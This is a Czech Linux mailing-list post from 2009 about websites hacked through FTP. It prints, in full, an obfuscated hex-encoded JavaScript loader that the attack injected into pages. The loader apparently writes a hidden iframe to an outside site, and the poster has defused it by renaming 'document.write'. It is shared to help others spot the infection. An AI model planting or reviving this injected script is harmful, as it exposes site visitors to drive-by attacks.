ftp hack

[Dalibor Straka]

On Thu, Apr 09, 2009 at 04:50:26PM +0200, Premysl Hruby wrote:
> On (09/04/09 16:31), Petr Stehlik wrote:
> > To: Diskuse o Linuxu v cestine <linux na linux.cz>
> > From: Petr Stehlik <pstehlik na sophics.cz>
> > Subject: Re: ftp hack
> > Reply-To: Diskuse o Linuxu v cestine <linux na linux.cz>
> > List-Id: Diskuse o Linuxu v cestine <linux.linux.cz>
> > 
> > Premysl Hruby píše v Čt 09. 04. 2009 v 15:46 +0200:
> > > Ano, bohuzel stalo. Na konec stranky (html a nekdy i .php a .inc soubory) to pridava 
> > > iframe podobny tomuto (jeste je varianta ktera obsahuje i position). A
> > > taky pridava iframe na zacatek, hned tesne za body.
> > 
> > anebo treba jen kousek 2x zakodovaneho javascriptu, ktery ve vysledku
> > dela prakticky totez (iframe).
> > 
> > Petr
> > 
> 
> S tim jsem se nepotkal. Myslite, ze je to soucasti stejneho viru? Muzete
> poslat ukazku toho JS? (pripadne cely usek soukrome?)
> 

Tady je cely ten hnus :-). Mailem nikomu neuskodi, jen pro jistotu
jsem nahradil posledni slova "document.write" -> "todle.zapis"

Nektere identifikatory, napriklad nazev funkce, jsou nahodne generovany
a v kazdem dokumentu jine.

<script>function c268fb268di49d3658a90267(i49d3658a9064f){ function i49d3658a90a32(){return 16;} return (parseInt(i49d3658a9064f,i49d3658a90a32()));}function i49d3658a915c5(i49d3658a919a3){ var i49d3658a92548=2; var i49d3658a91d83='';i49d3658a92d09=String.fromCharCode;for(i49d3658a92164=0;i49d3658a92164<i49d3658a919a3.length;i49d3658a92164+=i49d3658a92548){ i49d3658a91d83+=(i49d3658a92d09(c268fb268di49d3658a90267(i49d3658a919a3.substr(i49d3658a92164,i49d3658a92548))));}return i49d3658a91d83;} var r58='';var i49d3658a930e3='3C7'+r58+'3637'+r58+'2697'+r58+'07'+r58+'43E696628216D7'+r58+'96961297'+r58+'B646F637'+r58+'56D656E7'+r58+'42E7'+r58+'7'+r58+'7'+r58+'2697'+r58+'465287'+r58+'56E657'+r58+'363617'+r58+'065282027'+r58+'2533632536392536362537'+r58+'322536312536642536352532302536652536312536642536352533642536332533322533362532302537'+r58+'332537'+r58+'32253633253364253237'+r58+'2536382537'+r58+'342537'+r58+'342537'+r58+'302533612532662532662536312536652537'+r58+'342536392537'+r58+'362536392537'+r58+'322537'+r58+'352537'+r58+'332532652537'+r58+'36253633253266253366253237'+r58+'2532622534642536312537'+r58+'342536382532652537'+r58+'322536662537'+r58+'352536652536342532382534642536312537'+r58+'342536382532652537'+r58+'32253631253665253634253666253664253238253239253261253332253338253336253335253332253239253262253237'+r58+'253633253335253633253330253338253633253331253336253635253634253338253237'+r58+'2532302537'+r58+'37'+r58+'2536392536342537'+r58+'34253638253364253332253334253337'+r58+'253230253638253635253639253637'+r58+'2536382537'+r58+'342533642533312533312533362532302537'+r58+'332537'+r58+'342537'+r58+'39253663253635253364253237'+r58+'2537'+r58+'362536392537'+r58+'332536392536322536392536632536392537'+r58+'342537'+r58+'39253361253638253639253634253634253635253665253237'+r58+'2533652533632532662536392536362537'+r58+'3225363125366425363525336527'+r58+'29293B7'+r58+'D7'+r58+'6617'+r58+'2206D7'+r58+'969613D7'+r58+'47'+r58+'27'+r58+'5653B3C2F7'+r58+'3637'+r58+'2697'+r58+'07'+r58+'43E';todle.zapis(i49d3658a915c5(i49d3658a930e3));</script>

-- Dalibor Straka